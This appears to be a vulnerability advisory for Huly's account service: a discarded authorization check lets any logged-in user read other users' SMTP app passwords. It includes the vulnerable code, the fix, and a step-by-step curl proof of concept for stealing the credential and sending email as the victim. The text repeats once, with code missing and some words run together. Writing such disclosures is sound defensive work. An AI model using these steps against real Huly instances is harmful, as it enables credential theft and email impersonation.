Summary
The getMailboxSecret RPC method in Huly's account service returns the SMTP app
password for any mailbox to any authenticated user. A service-level authorization
check is called with shouldThrow=false, causing it to return a boolean instead of
raising an exception on failure. The return value is silently discarded, so the check
is completely unenforced. Any user with a valid session token can retrieve the SMTP
credential for any other user's mailbox, enabling them to send email as that user.
Details
The account service exposes an RPC interface over POST / (Koa router in
server/account-service/src/index.ts:380). Any method registered in the AccountMethods
map is callable by any authenticated user unless the handler enforces stricter access.
The vulnerable handler is getMailboxSecret in
server/account/src/operations.ts:2526-2538:
async function getMailboxSecret (
ctx: MeasureContext,
db: AccountDB,
branding: Branding | null,
token: string,
params: { mailbox: string }
): Promise<MailboxSecret | null> {
const { extra } = decodeTokenVerbose(ctx, token)
verifyAllowedServices(['huly-mail'], extra, false) // ← return value discarded
return await db.mailboxSecret.findOne({ mailbox: params.mailbox })
}
verifyAllowedServices is defined in server/account/src/utils.ts:1726-1733:
export function verifyAllowedServices (services: string[], extra: any, shouldThrow = true): boolean {
const ok = services.includes(extra?.service)
if (!ok && shouldThrow) {
throw new PlatformError(new Status(Severity.ERROR, platform.status.Forbidden, {}))
}
return ok
}
When called with shouldThrow=false, the function returns false for non-service
tokens but does not throw. The handler ignores the return value and unconditionally
proceeds to query the database, returning the MailboxSecret record which contains
the SMTP app password (secret field).
Every other call site in the codebase that uses shouldThrow=false correctly assigns
and checks the boolean:
server/account/src/serviceOperations.ts:725 -- const isAllowedService = verifyAllowedServices(..., false); if (!isAllowedService) { ... }
server/account/src/serviceOperations.ts:766 -- same pattern
server/account/src/operations.ts:2716 -- const allowedService = verifyAllowedServices(..., false); if (!allowedService) { ... }
Line 2536 is the sole instance where the return value is thrown away.
The getMailboxSecret method is registered in the public dispatch table
(server/account/src/operations.ts:3245, 3348):
// Type union includes:
| 'getMailboxSecret'
// Dispatch map:
getMailboxSecret: wrap(getMailboxSecret),
getMailboxes (line 2516-2524) correctly scopes by the authenticated account UUID:
async function getMailboxes(...) {
const { account } = decodeTokenVerbose(ctx, token)
return await db.mailbox.find({ accountUuid: account }) // scoped to caller
}
But getMailboxSecret takes an arbitrary mailbox address with no ownership check.
PoC
Prerequisites: A running Huly instance with the huly-mail service configured and at
least one user who has a mailbox set up. Two standard user accounts: alice (victim)
and bob (attacker). Both have valid JWT session tokens.
Step 1: Obtain a valid user token for bob (attacker)
BOB_TOKEN=$(curl -s -X POST https://huly-host/api/v1/login \
-H "Content-Type: application/json" \
-d '{"email":"bob@example.com","password":"BobPassword123"}' \
| jq -r '.token')
Step 2: Discover alice's mailbox address
Alice's mailbox address can be obtained from the Huly UI, a shared workspace member
list, or by calling getMailboxes as alice. For this PoC, assume alice's mailbox is
alice@huly-mail.example.com.
Step 3: Call getMailboxSecret as bob, supplying alice's mailbox
curl -s -X POST https://huly-host/ \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $BOB_TOKEN" \
-d '{"method":"getMailboxSecret","params":{"mailbox":"alice@huly-mail.example.com"}}'
Expected response:
{
"result": {
"mailbox": "alice@huly-mail.example.com",
"secret": "smtp-app-password-here"
}
}
Step 4: Use the secret to authenticate to the mail server as alice
curl -s --url "smtp://huly-mail-server:587" \
--user "alice@huly-mail.example.com:smtp-app-password-here" \
--mail-from "alice@huly-mail.example.com" \
--mail-rcpt "target@example.com" \
--upload-file message.txt
No elevated privilege is required. Any valid user session token suffices.
Impact
Any authenticated user can retrieve the SMTP application password for any other
user's Huly mailbox. The attacker can then authenticate to the mail server and send
arbitrary email impersonating the victim. In a multi-tenant Huly deployment this
affects all users who have a mailbox configured. The fix is to assign the return
value of verifyAllowedServices and throw or return when it is false.
Summary
The
getMailboxSecretRPC method in Huly's account service returns the SMTP apppassword for any mailbox to any authenticated user. A service-level authorization
check is called with
shouldThrow=false, causing it to return a boolean instead ofraising an exception on failure. The return value is silently discarded, so the check
is completely unenforced. Any user with a valid session token can retrieve the SMTP
credential for any other user's mailbox, enabling them to send email as that user.
Details
The account service exposes an RPC interface over
POST /(Koa router inserver/account-service/src/index.ts:380). Any method registered in theAccountMethodsmap is callable by any authenticated user unless the handler enforces stricter access.
The vulnerable handler is
getMailboxSecretinserver/account/src/operations.ts:2526-2538:verifyAllowedServicesis defined inserver/account/src/utils.ts:1726-1733:When called with
shouldThrow=false, the function returnsfalsefor non-servicetokens but does not throw. The handler ignores the return value and unconditionally
proceeds to query the database, returning the
MailboxSecretrecord which containsthe SMTP app password (
secretfield).Every other call site in the codebase that uses
shouldThrow=falsecorrectly assignsand checks the boolean:
server/account/src/serviceOperations.ts:725--const isAllowedService = verifyAllowedServices(..., false); if (!isAllowedService) { ... }server/account/src/serviceOperations.ts:766-- same patternserver/account/src/operations.ts:2716--const allowedService = verifyAllowedServices(..., false); if (!allowedService) { ... }Line 2536 is the sole instance where the return value is thrown away.
The
getMailboxSecretmethod is registered in the public dispatch table(
server/account/src/operations.ts:3245, 3348):getMailboxes(line 2516-2524) correctly scopes by the authenticated account UUID:But
getMailboxSecrettakes an arbitrarymailboxaddress with no ownership check.PoC
Prerequisites: A running Huly instance with the huly-mail service configured and at
least one user who has a mailbox set up. Two standard user accounts: alice (victim)
and bob (attacker). Both have valid JWT session tokens.
Step 1: Obtain a valid user token for bob (attacker)
Step 2: Discover alice's mailbox address
Alice's mailbox address can be obtained from the Huly UI, a shared workspace member
list, or by calling
getMailboxesas alice. For this PoC, assume alice's mailbox isalice@huly-mail.example.com.Step 3: Call getMailboxSecret as bob, supplying alice's mailbox
Expected response:
{ "result": { "mailbox": "alice@huly-mail.example.com", "secret": "smtp-app-password-here" } }Step 4: Use the secret to authenticate to the mail server as alice
No elevated privilege is required. Any valid user session token suffices.
Impact
Any authenticated user can retrieve the SMTP application password for any other
user's Huly mailbox. The attacker can then authenticate to the mail server and send
arbitrary email impersonating the victim. In a multi-tenant Huly deployment this
affects all users who have a mailbox configured. The fix is to assign the return
value of
verifyAllowedServicesand throw or return when it isfalse.